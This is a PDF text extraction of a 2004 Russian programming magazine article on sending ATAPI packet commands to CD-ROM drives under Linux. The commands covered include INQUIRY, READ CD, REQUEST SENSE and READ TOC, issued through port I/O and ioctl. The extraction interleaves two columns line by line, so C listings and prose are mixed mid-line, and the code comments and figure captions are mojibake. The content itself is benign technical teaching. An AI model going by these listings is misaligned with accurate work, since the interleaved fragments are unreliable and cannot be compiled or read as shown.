*/ send_packet_command(cmd_buff);
}
for(;;) {
do {
IN_P_B(status, port); Главная функция:
} while(status & BSY);
if(!(status & DRQ)) break; int main()
} {
/* Âûáèðàåì óñòðîéñòâî Master è â åãî ðåãèñòð êîìàíä ioperm(0x170, 8, 1);
* çàïèñûâàåì êîä ïàêåòíîé êîìàíäû /* Æä¸ì ãîòîâíîñòè óñòðîéñòâà è îòêðûâàåì ëîòîê */
*/
wait_while_ready();
open_cdrom();
port = 0x176; OUT_P_B(0xA0, port); // áèò DEV ñáðîøåí printf("CD-ROM îòêðûò. Íàæìèòå 'Enter' äëÿ çàêðûòèÿ.");
port = 0x177; OUT_P_B(0xA0, port);
getchar();
/* Æä¸ì ñáðîñà áèòà BSY è óñòàíîâêè DRQ */ /* Çàêðûâàåì ëîòîê */
for(;;) {
do { close_cdrom();
wait_while_ready();
IN_P_B(status, port); printf("OK. CD-ROM çàêðûò.\n");
} while(status & BSY);
if(status & DRQ) break; ioperm(0x170, 8, 0);
return 0;
} }
port = 0x170; // ðåãèñòð äàííûõ
Теперь вместо команды START/STOP UNIT пошлём ус-
/* Çàïèñûâàåì â ðåãèñòð äàííûõ ïåðåäàííûé 12-áàéòíûé тройству команду PLAY AUDIO. По этой команде устрой-
* êîìàíäíûé ïàêåò (îòìåòèì îäíó îñîáåííîñòü – åñëè
* çàïèñûâàòü ïî îäíîìó áàéòó, êîìàíäà ðàáîòàòü íå áóäåò) ство начнёт воспроизведение звукового фрагмента с
*/ Аудио-CD. Формат команды PLAY AUDIO представлен на
for(i = 0; i < 12; i += 2) {
memcpy((void *)&a, (cmd_buff + i), 2); рис. 2:
OUT_P_W(a, port);
}
port = 0x177;

/* Æä¸ì ñáðîñà áèòà BSY è óñòàíîâêè DRDY */


for(;;) {
do {
IN_P_B(status, port);
} while(status & BSY);
if(status & DRDY) break;
}
return;
}

Перед отправкой устройству команды START/STOP UNIT


проверим его готовность. Проверка готовности выполняет-
ся путём посылки устройству команды TEST UNIT READY: Ðèñóíîê 2. Ôîðìàò êîìàíäû PLAY AUDIO
Описание полей командного пакета:
void wait_while_ready()
{
! Starting Logical Block Address – логический номер секто-
__u8 cmd_buff[12]; ра, с которого начинается воспроизведение. Байты но-
мера сектора располагаются в обратном порядке, на что
memset((void *)cmd_buff, 0, 12);
cmd_buff[0] = 0x00; указывают аббревиатуры MSB (Most significant bit) и LSB
send_packet_command(cmd_buff); (Least significant bit);
return; ! Transfer Length – длина воспроизводимого фрагмента в
} логических секторах.

Функция закрытия лотка CD-ROM: Следующая функция формирует и посылает устройству

72
программирование
пакетную команду PLAY AUDIO (полный листинг находится
в файле RAW/play_audio.c): /* Îæèäàåì ñáðîñà áèòîâ BSY è DRQ */
for(;;) {
do {
void play_audio() IN_P_B(status, port);
{ } while(status & BSY);
__u8 cmd_buff[12]; if(!(status & DRQ)) break;
}
/* Âîñïðîèçâîäèì ôðàãìåíò ðàçìåðîì 5000 ñåêòîðîâ,
* íà÷èíàÿ ñ 10-ãî /* Âûáèðàåì óñòðîéñòâî Secondary Master */
*/ port = 0x176;
__u32 start_lba = 10; // ñòàðòîâûé ñåêòîð OUT_P_B(0xA0, port);
__u16 lba_len = 5000; // äëèíà âîñïðîèçâîäèìîãî ó÷àñòêà
/*  ìëàäøèé áàéò ñ÷åò÷èêà áàéòîâ (CL) çàíîñèì
memset((void *)cmd_buff, 0, 12); * ðàçìåð çàïðàøèâàåìûõ äàííûõ
cmd_buff[0] = 0x45; // êîä êîìàíäû PLAY AUDIO */
port = 0x174; OUT_P_W(data_len, port);
/* Ìåíÿåì ïîðÿäîê ñëåäîâàíèÿ áàéò ïðè ïîìîùè ìàêðîñà
* __swab32. Ýòîò ìàêðîñ îïðåäåë¸í â ôàéëå /*  ðåãèñòð êîìàíä çàïèñûâàåì êîä ïàêåòíîé êîìàíäû */
* <linux/byteorder/swab.h> port = 0x177; OUT_P_B(0xA0, port);
*/
start_lba = __swab32(start_lba); /* Æä¸ì óñòàíîâêè áèòà DRQ */
memcpy((void *)(cmd_buff + 2), (void *)&start_lba, 4); for(;;) {
lba_len = __swab16(lba_len); do {
memcpy((void *)(cmd_buff + 6), (void *)&lba_len, 2); IN_P_B(status, port);
send_packet_command(cmd_buff); } while(status & BSY);
if(status & DRQ) break;
return; }
}
port = 0x170;

Следующий класс пакетных команд, который мы рас- /* Â ðåãèñòð äàííûõ çàïèñûâàåì 12-áàéòíûé êîìàíäíûé ïàêåò */
for(i = 0; i < 12; i += 2) {
смотрим в данной статье, требует передачи данных от уст- memcpy((void *)&a, (cmd_buff + i), 2);
ройства к хосту в режиме PIO. Алгоритм выполнения таких OUT_P_W(a, port);
}
команд следующий (см. п. 5.8, спецификация INF-8020i):
! хост считывает регистр состояния устройства, дожида- /* Æä¸ì çàâåðøåíèÿ êîìàíäû - óñòàíîâëåííîãî áèòà DRQ.
* Åñëè ïðîèçîøëà îøèáêà - ôèêñèðóåì ýòîò ôàêò
ясь нулевого значения битов BSY и DRQ. После этого */
хост заносит в регистр выбора устройство байт, бит DEV port = 0x177;
for(;;) {
которого указывает на адресуемое устройство, в регистр do {
счетчика байтов (старший и младший) заносится число IN_P_B(status, port);
} while(status & BSY);
передаваемых от устройства байт; // îøèáêà âûïîëíåíèÿ êîìàíäû!
! хост записывает код пакетной команды 0xA0 в команд- if(status & ERR) return -1;
if(status & DRQ) break;
ный регистр; }
! устройство устанавливает бит BSY в регистре состоя- return 0;
ния и готовится к приёму пакетной команды; }
! подготовившись к приёму пакетной команды, устройство
сбрасывает бит BSY и устанавливает бит DRQ в регис- В качестве примеров пакетных команд, требующих пе-
тре состояния; редачи данных от устройства к хосту, рассмотрим следую-
! хост записывает 12-байтный командный пакет в регистр щий список:
данных устройства; ! INQUIRY
! устройство устанавливает бит BSY и приступает к вы- ! READ CD
полнению поступившей команды. После выполнения ко- ! REQUEST SENSE
манды устройство сбрасывает бит BSY и устанавлива- ! READ TOC
ет бит DRQ. Если во время выполнения команды про- ! SEEK
изошла ошибка, в регистре состояния будет установ- ! READ SUB-CHANNEL
лен бит CHK;
! хост опрашивает регистр состояния, дожидаясь единич- По команде INQUIRY устройство выдаёт блок инфор-
ного значения бита DRQ. После этого хост считывает мации о своих параметрах. Формат команды INQUIRY сле-
из регистра данных результат выполнения команды. дующий:
! байт 0 – код команды INQUIRY, значение 0x12;
Функция send_packet_data_command() реализует этот ! байт 4 – размер выделенной области для считываемых
алгоритм. Параметры функции – размер запрашиваемых данных.
данных и указатель на 12-байтный командный пакет:
Формат стандартной справки, выдаваемой по команде
int send_packet_data_command(__u16 data_len, __u8 *cmd_buff) INQUIRY, приведен на рис. 3 (INF-8020i, п. 10.8.1.1, стр. 94.).
{
int i; Функция read_inquiry() считывает идентификатор изго-
__u8 status = 0; товителя (Vendor Identification), идентификатор изделия
__u16 port, a;
(Product Identification) и версию изделия (Product Revision
port = 0x177; Level):

№9(22), сентябрь 2004 73


программирование
int read_inquiry() двумя соседними единицами должно быть не более 10, но
{ не менее 2 нулей. Размер малого кадра, записанного на
int i = 0;
__u8 cmd_buff[12]; компакт-диск, равен 588 бит.
__u16 inquiry_buff[20]; // áóôåð äëÿ ñ÷èòûâàåìûõ äàííûõ
__u8 data_len = 40; // ðàçìåð çàïðàøèâàåìûõ äàííûõ
memset(inquiry_buff, 0, 40);
memset((void *)cmd_buff, 0, 12);
cmd_buff[0] = 0x12; // êîä êîìàíäû INQUIRY
cmd_buff[4] = data_len;
/* Ïîñûëàåì óñòðîéñòâó ïàêåòíóþ êîìàíäó */
if(send_packet_data_command(data_len, cmd_buff) < 0) {
printf("INQUIRY command error\n");
return -1;
}
/* Ñ÷èòûâàåì ðåçóëüòàò è îòîáðàæàåì åãî */
for(i = 0; i < 20; i++) IN_P_W(inquiry_buff[i], 0x170);
printf("%s\n", inquiry_buff + 4);
return 0;
} Ðèñóíîê 4. Ñòðóêòóðà êàäðà íà ïðèìåðå Audio-CD
98 последовательно расположенных малых кадров об-
Полный листинг программы чтения идентификационной разуют кадр (Frame), или сектор, минимально адресуемую
информации устройства находится в файле RAW/ единицу данных на компакт-диске. Один кадр содержит
inquiry_cd.c. 24 ∗ 98 = 2352 байт данных основного канала и 98 байт
субканала (2 байта синхронизации и 96 байт данных). Каж-
дый байт субканала размечен на битовые позиции, и, таким
образом, субканал делится еще на 8 субканалов (рис. 5).
В одном кадре для каждого из этих субканалов содержит-
ся по 96 бит (12 байт) информации.

Ðèñóíîê 5. Ôîðìàò áàéòà ñóáêàíàëà


Субканал Q Lead-In области компакт-диска хранит дан-
ные таблицы содержания, Table of Contents, или TOC.
У компакт-дисков, используемых для хранения аудио-
информации, все 2352 байт основного канала заняты аудио-
данными. Формат, используемый для записи музыкальных
треков на компакт-диск, обозначается CD-DA (CD Digital
Audio). Если компакт-диск используется для хранения дан-
Ðèñóíîê 3. Ôîðìàò ñïðàâêè, ïîëó÷àåìîé ïî êîìàíäå INQUIRY ных, то блок основного канала начинается с поля синхро-
Команда READ_CD, которую мы сейчас рассмотрим, низации Sync длиной 12 байт (рис. 6). За полем синхрони-
выполняет чтение сектора с компакт-диска. Но перед тем, зации находится заголовок блока данных Header длиной 4
как приступить к изучению примера использования этой байт. Заголовок блока содержит координаты блока данных
команды, ознакомимся с организацией данных на компакт- в формате MSF (Minute/Second/Frame) и байт режима за-
диске. писи данных Data Mode.

Физический формат данных


на компакт-диске. Форматы блоков Ðèñóíîê 6. Ñòðóêòóðà ïîëÿ ñèíõðîíèçàöèè Sync
основного канала Биты 0-1 байта Data Mode содержат код режима записи
Единицей представления данных на компакт-диске являет- блока данных. Наиболее широкое распространение полу-
ся малый кадр, small frame. Малый кадр содержит: чили следующие режимы данных:
! 3 байта кода синхронизации; ! режим данных 1, Yellow Book Mode 1;
! 1 байт данных субканала; ! форма 1 режима данных 2, CD-ROM XA Mode 2 Form 1;
! 24 байта данных основного канала (две группы по 12 ! форма 2 режима данных 2, CD-ROM XA Mode 2 Form 2.
байт);
! 8 байт помехоустойчивого корректирующего кода (CIRC, Форматы блоков основного канала для каждого режи-
Cross Interleaved Read-Solomon Code). ма представлен на рис. 7.
Общая длина данных малого кадра составляет 36 байт. ! EDC – Error detection code
При записи на компакт-диск данные субканала, основ- ! ECC – Error correction code using CIRC
ного канала и CIRC кодируются 14-разрядными EFM-кодом
(Eight to Fourteen). Эта операция необходима для соблюде- Вернёмся к рассмотрению команды READ CD. Ее фор-
ния условия, что в последовательном коде данных между мат представлен на рис. 8.

74
программирование
ческий номер сектора, содержимое которого мы хотим про-
читать.

#define SECT_SIZE 2352 // ðàçìåð RAW-ñåêòîðà


int read_cd(__u32 lba)
{
int i = 0, out_f, ret;
__u8 cmd_buff[12];
__u8 buff[SECT_SIZE];
__u16 data_len = SECT_SIZE, a;

memset((void *)buff, 0, sizeof(buff));


memset((void *)cmd_buff, 0, 12);

/* Ôîðìèðóåì êîìàíäíûé ïàêåò (ðèñ. 8) */


Ðèñóíîê 7. Ôîðìàòû áëîêîâ îñíîâíîãî êàíàëà cmd_buff[0] = 0xBE; // êîä êîìàíäû READ CD
cmd_buff[1] = 0; // ñ÷èòûâàåì ñåêòîð ëþáîãî òèïà (Any Type)
cmd_buff[9] = 0xF8; // ñ÷èòûâàåì âñþ èíôîðìàöèþ,
// íàõîäÿùóþñÿ â ñåêòîðå
cmd_buff[8] = 1; // ÷èòàåì îäèí ñåêòîð
/* Çàïîëíÿåì ïîëå Starting Logical Block Address, ïðè ýòîì
* ìåíÿåì ïîðÿäîê ðàñïîëîæåíèÿ áàéò
*/
lba = __swab32(lba);
memcpy((cmd_buff + 2), (void *)&lba, 4);
/* Ïîñûëàåì óñòðîéñòâó êîìàíäíûé ïàêåò */
if(send_packet_data_command(data_len, cmd_buff) < 0) {
request_sense(); return -1;
}

/* Ñ÷èòûâàåì ðåçóëüòàò è ñîõðàíÿåì åãî â ôàéëå */


for(i = 0; i < SECT_SIZE; i += 2) {
Ðèñóíîê 8. Ôîðìàò êîìàíäû READ CD IN_P_W(a, 0x170);
memcpy((void *)(buff + i), (void *)&a, 2);
Назначение полей командного пакета: }
! Expected Sector Type – определяет тип сектора, кото- out_f = open("sector", O_CREAT|O_RDWR, 0600);
рый мы хотим считать. Может принимать следующие write(out_f, buff, sizeof(buff));
return 0;
значения (INF-8020i, таблица 94): }
! 000b – Any type
! 001b – CD-DA
! 010b – Mode1
! 100b – Mode2 Form1
! 101b – Mode2 Form2
! Starting Logical Block Address – номер стартового сектора;
! Transfer Length in Blocks – число считываемых секторов;
! Flag Bits – это поле определяет, какие данные будут
прочитаны из сектора. В таблице 99, стр. 147 специ-
фикации INF-8020i определены допустимые значения
этого поля и поля данных, которые будут считаны из
сектора (секторов). Например, значение поля Expected
Sector Type, равное 0xF8, означает, что из сектора
любого типа (Mode1, Mode 2 Form 1, Mode 2 Form 2)
будут считаны все данные: поле синхронизации Sync,
заголовки Header и Subheader (для Mode 2), поле дан-
ных и значения контрольных сумм EDD/ECC. Другими Ðèñóíîê 9. Ôîðìàò äàííûõ Q-ñóáêàíàëà
словами, c компакт-диска будет прочитан «сырой» сек- Если при обращении к устройству произойдет ошиб-
тор (RAW-сектор); ка, то никаких данных мы, соответственно, не получим.
! Sub-Channel Data Selection Bits – данное поле опреде- Однако у нас есть возможность узнать причину ошибки.
ляет необходимость считывания в общем потоке дан- Для этого достаточно послать устройству пакетную коман-
ных содержимое субканалов: ду REQUEST SENSE. В ответ устройство выдаст инфор-
! 000b – данные из субканалов не передаются; мационный блок sense data (см. рис. 10).
! 001b – считываются «сырые» данные субканалов; Три поля данной структуры – Sense Key, Additional Sense
! 010b – данные Q-субканала; Code (ASC), Additional Sense Code Qualifier – позволяют точ-
! 100b – данные R-W субканалов. но установить причину ошибки. Допустимые значения этих
полей и их описание ошибочной ситуации приведены в спе-
Формат данных Q-субканала приведён на рис. 9. цификации INF-8020i, таблицы 140 и 141, стр. 183 – 185.
Рассмотрим функцию, которая выполняет чтение RAW- Анализ ошибочной ситуации выполняет функция
сектора с компакт-диска. Входные данные функции – логи- request_sense():

№9(22), сентябрь 2004 75


программирование
int request_sense()
{
int i = 0;
__u8 cmd_buff[12];
__u8 sense_buff[14]; За расшифровкой обратимся к таблицам 140 и 141.
__u16 a;
Значение Sense key, равное 0x2, означает «NOT READY.
memset((void *)cmd_buff, 0, 12); Indicates that the Device cannot be accessed», ASC=0x3A и
memset((void *)sense_buff, 0, 14);
ASCQ=0x0 – «MEDIUM NOT PRESENT». Устройство сооб-
/* Ôîðìèðóåì ïàêåòíóþ êîìàíäó REQUEST SENSE. щило о том, что компакт-диск в приводе отсутствует.
* Èç áëîêà sense data ñ÷èòûâàåì ïåðâûå 14 áàéò –
* ýòîãî íàì õâàòèò, ÷òîáû îïðåäåëèòü ïðè÷èíó îøèáêè Теперь попытаемся прочитать сектор, номер которого
*/ заведомо превышает допустимое значение. В программе
cmd_buff[0] = 0x3;
cmd_buff[4] = 14; задаем LBA = 10000000 и получаем в результате:
/* Ïîñûëàåì óñòðîéñòâó êîìàíäó è ñ÷èòûâàåì sense data */
if(send_packet_data_command(14, cmd_buff) < 0) exit(-1);
for(i = 0; i < 14; i += 2) {
IN_P_W(a, 0x170); В этом случае устройство сообщает, что логический
memcpy((void *)(sense_buff + i), (void *)&a, 2); адрес сектора вышел за пределы допустимого диапазона.
}
Q-субканал Lead-In области компакт-диска содержит
printf("Sense key - 0x%X\n", sense_buff[2] & 0x0F); таблицу содержания диска, Table of Contents, или TOC. Это
printf("ASC - 0x%X\n", sense_buff[12]);
printf("ASCQ - 0x%X\n", sense_buff[13]); своеобразный аналог таблицы разделов жесткого диска. В
return 0;
TOC хранятся данные о координатах треков и другая слу-
} жебная информация.
Чтение таблицы содержания диска выполняется командой
READ TOC. Формат этой команды представлен на рис. 11.

Ðèñóíîê 10. Áëîê äàííûõ sense data, âîçâðàùàåìûé êîìàíäîé


REQUEST SENSE
Полный листинг программы чтения RAW-секторов с ком-
пакт-диска находится в файле RAW/read_sector.c. Приведём Ðèñóíîê 11. Ôîðìàò êîìàíäû READ TOC
пример работы этой программы. С компакт-диска считыва- Назначение полей командного пакета:
ется сектор номер 1000. В результате работы будет создан ! MSF – формат адреса блока данных (0 – LBA, 1 – MSF);
файл sector. Посмотрим на первые 16 байт этого файла: ! Format – определяет формат данных, выдаваемых по
команде READ TOC:
00 FF FF FF FF FF FF FF FF FF FF 00 00 15 25 01 ! 00b – считываются данные TOC, начиная с трека, но-
мер которого указан в поле Starting Track. Если это
Первые 12 байт – это поле синхронизации Sync-секто- поле содержит 0, содержимое TOC выдаётся для всех
ра (см. рис. 6). Следующие за ним 3 байта – координаты треков диска, начиная с первого. Если поле Starting
сектора в формате MSF, значения представлены в BCD- Track содержит значение 0xAA, выдаются данные
коде. Последний байт содержит значение режима записи TOC последней Lead-Out области диска;
данных, Data Mode. ! 01b – считывается номер первой сессии, номер после-
Пересчитаем координаты сектора из MS- формата в LBA дней сессии и номер первого трека последней сессии;
по формуле (см. [3, 4]): ! 10b – считываются все данные Q-субканала Lead-In
областей всех сессий, начиная с сессии, номер кото-
LBA = ((Minute * 60 + Second) * 75 + Frame) – 150 рой находится в поле Session Number.

В нашем примере, Minute = 00, Second = 15, Frame = 25. Поле Format девятого байта не используется.
Подставив значения в формулу, получаем LBA = 1000. Имен- Формат данных TOC для Format = 00b, представлен на
но этот сектор мы считывали. рис. 12.
Теперь проверим, как обрабатываются ошибочные си- Первые четыре байта – это заголовок, содержащий дли-
туации. Удалим из привода компакт-диск и запустим про- ну данных TOC и номера первого и последнего треков. За
грамму на выполнение. В результате программа выдаст заголовком следуют дескрипторы треков. Первым распо-
следующее: ложен дескриптор трека, номер которого задан в поле

76
программирование
Starting Track. Максимальная длина данных TOC, согласно * ïî êîìàíäå READ TOC áóäåò âûäàíà èíôîðìàöèÿ îáî âñåõ
спецификации INF-8020i (рис. 12), составляет 804 байта, * òðåêàõ äèñêà, íà÷èíàÿ ñ ïåðâîãî
*/
или 100 TOC track descriptors. memset((void *)cmd_buff, 0, PACKET_LEN);
cmd_buff[0] = READ_TOC;
cmd_buff[6] = 0;
/* Ðàçìåð îáëàñòè ïàìÿòè, âûäåëåííîé äëÿ äàííûõ TOC */
a = MAX_TOC_LEN;
a = __swab16(a);
memcpy((void *)(cmd_buff + 7), (void *)&a, 2);

data_buff = (__u8 *)malloc(MAX_TOC_LEN);


memset(data_buff, 0, MAX_TOC_LEN);

/* Ïîñûëàåì óñòðîéñòâó ïàêåòíóþ êîìàíäó */


if(send_packet_data_command(MAX_TOC_LEN, cmd_buff) < 0)
return -1;
/* Ñ÷èòûâàåì ðåçóëüòàò */
for(i = 0;;i += 2) {
IN_P_W(a, 0x170);
// ðàçìåð äàííûõ TOC
if(i == 0) toc_length = __swab16(a);
Ðèñóíîê 12. Ôîðìàò äàííûõ TOC, Format Field = 00b if(i > toc_length) break;
Формат данных TOC для Format = 10b, приведен на memcpy((void *)(data_buff + i), (void *)&a, 2);
}
рис.13:
/* ×èñëî òðåêîâ íà äèñêå */
total_tracks = data_buff[3];
/* Îòîáðàçèì ðåçóëüòàò */
printf("TOC length - %d\n", toc_length);
printf("First: %d\t", data_buff[2]);
printf("Last: %d\n", total_tracks);

/* Âûäåëèì ïàìÿòü è ñêîïèðóåì òóäà äåñêðèïòîðû òðåêîâ */


t = (struct toc *)malloc(toc_length);
memcpy((void *)t, (data_buff + 4), toc_length);
free(data_buff);
/* Îòîáðàçèì ðåçóëüòàòû */
for(i = 0; i < total_tracks; i++)
printf("track: %d\tlba: %u\n", (i + 1), ↵
__swab32((t + i)->lba));
return 0;
}

Полный листинг программы чтения TOC приведен в


файле RAW/read_toc1.c.
Рассмотрим ещё один пример чтения TOC. Для хране-
Ðèñóíîê 13. Ôîðìàò äàííûõ TOC, Format Field = 10b ния содержимого TOC организуем односвязный список
Здесь картина аналогичная – первым идёт заголовок структур следующего вида:
размером 4 байта, а за ним расположены записи TOC.
Рассмотрим функцию read_toc(), выполняющую чтение struct toc {
__u8 res;
TOC, при условии, что поле Format содержит 00b. Формат __u8 adr_cntl;
дескриптора трека TOC, представленный на рис. 12, опи- __u8 trk_num;
__u8 res1;
сывает структура struct toc: __u32 lba;
struct toc *next; // óêàçàòåëü íà ñëåäóþùèé ýëåìåíò ñïèñêà
struct toc { };
__u8 res;
__u8 adr_cntl; Здесь struct toc *next – указатель на следующий элемент
__u8 trk_num; // íîìåð òðåêà списка. Формирование этого списка будет выполнять ре-
__u8 res1;
__u32 lba; // àäðåñ ñåêòîðà курсивная функция read_toc( ):
} __attribute__ ((packed)) *t;
struct toc * read_toc()
int read_toc() {
{
#define PACKET_LEN 12 // äëèíà ïàêåòíîé êîìàíäû #define READ_TOC 0x43
#define READ_TOC 0x43 // êîä êîìàíäû READ TOC
#define MAX_TOC_LEN 804 // ìàêñèìàëüíàÿ äëèíà äàííûõ TOC
//(Format = 00b) static int i = 1;
int n;
int i = 0; __u8 cmd_buff[12];
int total_tracks = 0; __u8 data_buff[12];
__u8 cmd_buff[PACKET_LEN]; /* Ïðè êàæäîì îáðàùåíèè ê äèñêó ìû ñ÷èòûâàåì 12 áàéò – 4 áàéòà
__u8 *data_buff;
__u16 toc_length = 0, a; * çàãîëîâêà è 8 áàéò äåñêðèïòîðà òðåêà, íîìåð êîòîðîãî
* çàäàí â ïîëå Starting Track
/* Ôîðìèðóåì ïàêåòíóþ êîìàíäó. Ïîëå Starting Track ñîäåðæèò 0, */
__u16 buff_size = 12, a;

№9(22), сентябрь 2004 77


программирование
struct toc *t; t_entry = (struct toc_entry *) ↵
malloc(sizeof(struct toc_entry));
/* Åñëè íîìåð òðåêà ïðåâûñèë 0xAA, âûïîëíåíèå ôóíêöèè t_entry->start_lba = t->lba;
ïðåêðàùàåòñÿ */ t_entry->end_lba = t->next->lba;
if(i > 0xAA) return NULL;
return t_entry;
/* Âûäåëÿåì ïàìÿòü äëÿ äåñêðèïòîðà òðåêà */ }
t = (struct toc *)malloc(sizeof(struct toc));

/* Ôîðìèðóåì ïàêåòíóþ êîìàíäó */ Входные параметры функции – номер трека и указатель


memset((void *)cmd_buff, 0, 12); на начало списка с данными TOC. Результат сохраняется в
cmd_buff[0] = READ_TOC;
структуре struct toc_entry следующего вида:
/* Ïîëå Starting Track ñîäåðæèò íîìåð òðåêà. Ýòîò íîìåð
* óâåëè÷èâàåòñÿ ïðè êàæäîì âûçîâå ôóíêöèè
*/ struct toc_entry {
cmd_buff[6] = i; __u32 start_lba; // ñòàðòîâûé àäðåñ òðåêà
__u32 end_lba; // êîíå÷íûé àäðåñ òðåêà
/* Ðàçìåð ñ÷èòûâàåìûõ äàííûõ */ };
buff_size = __swab16(buff_size);
memcpy((void *)(cmd_buff + 7), (void *)&buff_size, 2);
Полный листинг программы, выполняющей чтение TOC,
/* Ïîñûëàåì óñòðîéñòâó ïàêåòíóþ êîìàíäó */ приведен в файле RAW/read_toc.c.
if(send_packet_data_command(buff_size, cmd_buff) < 0) {
printf("Error read TOC\n"); Если скомпоновать вместе функции read_cd и read_toc,
request_sense(); можно написать программу чтения треков с компакт-дис-
exit(-1);
} ка. В файле RAW/read_cdda_track.c находится листинг про-
/* Ñ÷èòûâàåì äàííûå – çàãîëîâîê è äåñêðèïòîð òðåêà (ðèñ. 12) */
граммы, которая считывает треки с Audio-CD и сохраняет
memset(data_buff, 0, 12); их в файле track.cdr. Детально изучать этот листинг мы не
for(n = 0; n < 12; n += 2) { будем, т.к. только что подробно рассмотрели его основ-
IN_P_W(a, 0x170);
memcpy((void *)(data_buff + n), (void *)&a, 2); ные составляющие. Единственное замечание – в отличие
} от ранее рассмотренной функции read_cd при считывании
/* Îòîáðàçèì ðàçìåð äàííûõ TOC è íîìåð ïåðâîãî è ïîñëåäíåãî сектора с аудиодиска соседние байты меняются местами.
* òðåêà Это связано с порядком расположения аудиоданных в сек-
*/
if (i == 1) { торе:
memcpy((void *)&a, (void *)(data_buff), 2);
printf("TOC lenght - %d\n", __swab16(a));
printf("First: %d\t", data_buff[2]); for(i = 0; i < 2352; i += 2) {
printf("Last: %d\n", data_buff[3]); IN_P_W(a, 0x170);
max_track_num = data_buff[3]; a = __swab16(a);
} memcpy((void *)(buff + i), (void *)&a, 2);
}
/* Êîïèðóåì äåñêðèïòîð òðåêà â ñòðóêòóðó struct toc */
memcpy((void *)t, (data_buff + 4), 8); В принципе этого можно и не делать, но тогда нам при-
t->lba = __swab32(t->lba); дется самостоятельно формировать RIFF-заголовок, чтобы
/* Ñ÷èòûâàåì äåñêðèïòîð ñëåäóþùåãî òðåêà. Åñëè òðåêîâ áîëüøå íåò, получить файл в формате WAV. Лучше возложим эту по-
* ñ÷èòûâàåì äåñêðèïòîð Lead-Out îáëàñòè ïîñëåäíåé ñåññèè. чётную обязанность на sox. Конвертируем файл в WAV-
*/
i += 1; формат:
if(i == (max_track_num + 1)) i = 0xAA;
t->next = read_toc(); # sox track.cdr track.wav
return t;
}
Полученный WAV-файл кодируем в формат Ogg Vorbis:
Просмотр содержимого TOC выполняет рекурсивная
функция view_toc( ): # oggenc track.wav -b 256 track.ogg

void view_toc(struct toc *t)


{
if(t == NULL) return; Системный вызов IOCTL
Теперь рассмотрим порядок посылки устройству пакетной
if(t->trk_num == 0xAA) printf("lead out:\t");
else printf("track: %d\t", t->trk_num); команды при помощи системного вызова ioctl. Команда
printf("lba: %u\n", t->lba); выглядит следующим образом:
view_toc(t->next);
} ioctl(int fd, CDROM_SEND_PACKET, struct cdrom_generic_command *);

Извлечь из сформированного списка дескриптор трека Первый параметр – дескриптор файла устройства. Вто-
можно при помощи следующей функции: рой параметр, CDROM_SEND_PACKET – спецификатор,
указывающий на необходимость передачи устройству па-
struct toc_entry * get_toc_entry(int trk_num, struct toc *t) кетной команды. Третий параметр – структура следующего
{
struct toc_entry *t_entry; типа:
int i = 1;
/* for CDROM_PACKET_COMMAND ioctl */
for(;i < trk_num; i++) t = t->next;

78
программирование
struct cdrom_generic_command printf("CD-ROM îòêðûò. Íàæìèòå ENTER äëÿ çàêðûòèÿ");
{ getchar();
unsigned char cmd[CDROM_PACKET_SIZE];
unsigned char *buffer; /* Çàêðûâàåì ëîòîê */
unsigned int buflen; memset((void *)&cgc, 0, ↵
int stat; sizeof(struct cdrom_generic_command));
struct request_sense *sense; cgc.cmd[0] = GPCMD_START_STOP_UNIT;
unsigned char data_direction; cgc.cmd[4] = 0x3;
int quiet; cgc.data_direction = CGC_DATA_NONE;
int timeout;
void *reserved[1]; ioctl(fd, CDROM_SEND_PACKET, &cgc);
};
printf("CD-ROM çàêðûò\n");
Эта структура определена в файле <linux/cdrom.h>. На- return 0;
}
значение полей структуры:
! cmd[CDROM_PACKET_SIZE] – 12-байтный командный Следующий пример – функция read_cd, выполняющая
пакет; чтение RAW-сектора, при этом вместе с данными основно-
! buffer – указатель на буфер, куда будут помещены счи- го канала считываются данные Q-субканала сектора. Фор-
танные данные. Также в этом буфере хранятся данные, мат данных Q-субканала приведен на рис.9, формат коман-
которые будут переданы устройству; ды READ CD – на рис. 8. Входной параметр функции – ло-
! buflen – размер передаваемых (принимаемых) данных; гический номер сектора.
! sense – структура, содержащая информацию о состоя-
нии устройства (см. команду REQUEST SENSE и рис. int read_cd(__u32 lba)
{
10). Эта структура также определена в файле <linux/ int fd, out_f;
cdrom.h>; struct cdrom_generic_command cgc;
struct request_sense sense;
! data_direction – направление обмена данными. Может
принимать следующие значения: #define QSCH_LEN 16 // ðàçìåð äàííûõ Q-ñóáêàíàëà

/* Áóôåð äëÿ ñ÷èòàííûõ äàííûõ */


#define CGC_DATA_WRITE 1 // ïåðåäà÷à äàííûõ óñòðîéñòâó __u8 blk_buff[CD_FRAMESIZE_RAW + QSCH_LEN];
#define CGC_DATA_READ 2 // ïðè¸ì äàííûõ îò óñòðîéñòâà
#define CGC_DATA_NONE 3 // íåò îáìåíà äàííûìè /* Îòêðûâàåì ôàéë óñòðîéñòâà */
fd = open("/dev/cdrom", O_RDONLY|O_NONBLOCK);
! timeout – допустимое время выполнения команды. /* Îæèäàåì ãîòîâíîñòü óñòðîéñòâà ê ïðèíÿòèþ ïàêåòíîé êîìàíäû */
memset((void *)&cgc, 0, ↵
sizeof(struct cdrom_generic_command));
Рассмотрим примеры программ, выполняющих доступ memset(&sense, 0, sizeof(sense));
к ATAPI-устройству при помощи системного вызова IOCTL.
cgc.cmd[0] = GPCMD_TEST_UNIT_READY;
Первый пример – открытие и закрытие лотка CD-ROM cgc.data_direction = CGC_DATA_NONE;
(файл IOCTL/open_close.c). cgc.sense = &sense;

if(ioctl(fd, CDROM_SEND_PACKET, &cgc) < 0) {


/* Ôàéë open_close.c */ perror("ioctl");
#include <stdio.h> printf("Sense key - 0x%02x\n", sense.sense_key);
#include <fcntl.h> printf("ASC - 0x%02x\n", sense.asc);
#include <linux/types.h> printf("ASCQ - 0x%02x\n", sense.ascq);
#include <linux/cdrom.h> return -1;
}
int main()
{ /* Ôîðìèðóåì êîìàíäó READ CD */
int fd; memset((void *)&cgc, 0, ↵
struct cdrom_generic_command cgc; sizeof(struct cdrom_generic_command));
memset(&sense, 0, sizeof(sense));
/* Îòêðûâàåì ôàéë óñòðîéñòâà */ memset(blk_buff, 0, sizeof(blk_buff));
fd = open("/dev/cdrom", O_RDONLY|O_NONBLOCK);
memset((void *)&cgc, 0, ↵ cgc.cmd[0] =
GPCMD_READ_CD;
sizeof(struct cdrom_generic_command)); cgc.cmd[1] =
0; // ñ÷èòûâàòü ñåêòîð ëþáîãî òèïà
cgc.cmd[8] =
1; // ñ÷èòûâàòü îäèí ñåêòîð
